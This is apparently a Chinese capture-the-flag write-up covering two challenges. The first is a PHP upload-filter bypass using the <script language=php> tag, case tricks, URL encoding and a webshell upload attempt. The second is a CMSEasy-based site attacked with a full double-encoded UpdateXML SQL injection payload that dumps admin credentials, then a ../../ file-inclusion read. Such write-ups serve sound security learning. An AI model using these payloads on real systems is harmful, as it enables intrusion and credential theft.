目的
这道题开始给的提示是flag.php中有flag,因此我们的目的就是读这个flag.php。
解题思路
进来后发现是一个上传界面,我们先尝试上传一些正常文件
是可以正常上传的,现在我们尝试上传一个.php的文件
上传后,发现我们代码里的<?php被过滤了,导致代码无法正常解析,被当作字符串输出了。
经过测试发现被过滤的是<?和php,并且无法动态拼接绕过,但是php只是过滤了小写,大写字母并没有做出任何处理,我们可以通过大小写绕过php的过滤,<?无论怎么拼接,都会被循环过滤掉,因此需要换一种思路。
经过查询发现,php的标准标签其实有两种:
1.<?php ?> 这里<?会被过滤行不通;
2.<script language=php> </script> 这里不存在<?,我们不怕php无法被解析了
现在我们需要构造一个没有php和<?的脚本去上传
OK,我们代码正常运行了。现在可以去尝试读取flag.php的文件了。
由于提示上说,flag在flag.php中,php需要为小写,否则无法读到正确的文件,但是我们代码里要是存在php的话就会被过滤掉,因此利用url编码,绕过开始对php的过滤。
成功读到文件
当我们上传一句话的时候,就会被拦截,这时可以利用burp抓包进行截断绕过上传,成功上传含有一句话的脚本,尝试使用caidao连接,报错405 not allow,看来无法使用caidao连接。
这道题的关键是要知道php的另外一种标准标签的形式,否则无法绕过开始对<?的绕过。
YeserCMS
经搜索这个Yesercms并不存在,因此可能是某种cms的二次开发得到的,发现是cmseasy,于是从网上找到了许多关于这个cms的漏洞。
最后在/celive/live/header.php目录下存在注入,直接post提交payload
xajax=Postdata&xajaxargs[0]=<q>detail=xxxxxx%2527%252C%2528UpdateXML%25281%252CCONCAT%25280x5b%252Cmid%2528%2528SELECT%252f%252a%252a%252fGROUP_CONCAT%2528concat%2528username%252C%2527%257C%2527%252Cpassword%2529%2529%2520from%2520yesercms_user%2529%252C1%252C32%2529%252C0x5d%2529%252C1%2529%2529%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%252CNULL%2529--%2520</q>
获取密码的过程中,由于显示长度的限制,最多只能显示25位的md5值,这时候可以改变一下读取的起始位置,保证之后的内容能够正常读取获取到32位
获得账号为admin 密码为Yeser231
进入后台
在编辑模板处存在文件包含漏洞
抓包修改参数id为flag.php的路径../../flag.php成功获取flag的值